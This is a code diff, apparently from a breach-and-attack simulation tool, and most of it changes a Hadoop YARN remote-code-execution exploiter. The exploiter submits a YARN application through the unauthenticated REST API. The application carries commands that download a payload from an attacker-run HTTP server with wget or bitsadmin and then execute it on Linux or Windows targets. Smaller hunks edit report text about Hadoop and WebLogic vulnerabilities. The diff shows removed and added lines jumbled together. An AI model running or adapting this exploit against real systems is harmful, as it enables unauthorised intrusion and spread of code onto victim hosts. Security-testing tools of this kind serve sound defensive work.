Fixed reporting and upploading bugs
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5674bebfa6
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@ -12,7 +12,7 @@ from exploit.web_rce import WebRCE
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from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
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import posixpath
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from threading import Lock
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from model import DROPPER_ARG
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from model import DROPPER_ARG, DOWNLOAD_TIMEOUT
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__author__ = 'VakarisZ'
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@ -20,13 +20,17 @@ LOG = logging.getLogger(__name__)
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class HadoopExploiter(WebRCE):
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_TARGET_OS_TYPE = ['linux', 'windows']
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HADOOP_PORTS = ["8088"]
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LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \
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"&& chmod +x %(monkey_path)s " \
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# TODO add more hadoop ports
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HADOOP_PORTS = [["8088", False]]
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# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
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# to download monkey at the same time
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LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
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"&& wget -O %(monkey_path)s %(http_path)s " \
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"; chmod +x %(monkey_path)s " \
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"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
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WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \
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"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
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LOCK = Lock()
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def __init__(self, host):
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@ -47,25 +51,33 @@ class HadoopExploiter(WebRCE):
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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# Determine which destination path to use
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# Determine where to save monkey on the target
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LOG.debug("Monkey path found")
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path = WebRCE.get_monkey_dest_path(self._config, src_path)
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# Build command to execute
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monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
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if 'linux' in self.host.os['type']:
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command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path,
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"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
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else:
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command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path,
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"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
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if not path:
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return False
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# To avoid race conditions we pass a locked lock to http servers thread
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self.LOCK.acquire()
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# Create server for http download and wait for it's startup.
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http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK)
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self.LOCK.acquire()
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self.exploit(url, command)
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# Build command to execute
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monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
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if 'linux' in self.host.os['type']:
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command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path,
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"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
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else:
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command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path,
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"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
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# command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" % {"monkey_path": path, "http_path": http_path}
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if not path:
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return False
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if not self.exploit(url, command):
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return False
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self.LOCK.release()
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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return True
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def exploit(self, url, command):
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# Get the newly created application id
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@ -85,10 +97,17 @@ class HadoopExploiter(WebRCE):
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"application-type": "YARN"
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}
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resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
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if resp.status_code == 202:
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return True
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else:
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return False
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def try_exploit(self, url):
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# Get the newly created application id
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resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
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try:
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resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
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except requests.ConnectionError:
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return False
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if resp.status_code == 200:
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return True
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else:
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@ -29,7 +29,8 @@ class MSSQLFinger(HostFinger):
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Discovered server information written to the Host info struct.
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True if success, False otherwise.
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"""
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# TODO remove auto-return
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return False
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assert isinstance(host, VictimHost)
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# Create a UDP socket and sets a timeout
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@ -332,7 +332,7 @@ class ReportPageComponent extends AuthComponent {
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<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
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href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
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CVE-2017-10271</a>)</li> : null }
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{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
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{this.state.report.overview.issues[this.Issue.HADOOP] ?
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<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
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</ul>
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</div>
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@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent {
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generateHadoopIssue(issue) {
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return (
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<li>
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Run Hadoop in secure mode(<a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
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Run Hadoop in secure mode(<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
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add Kerberos authentication</a>).
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<CollapsibleWellComponent>
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Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
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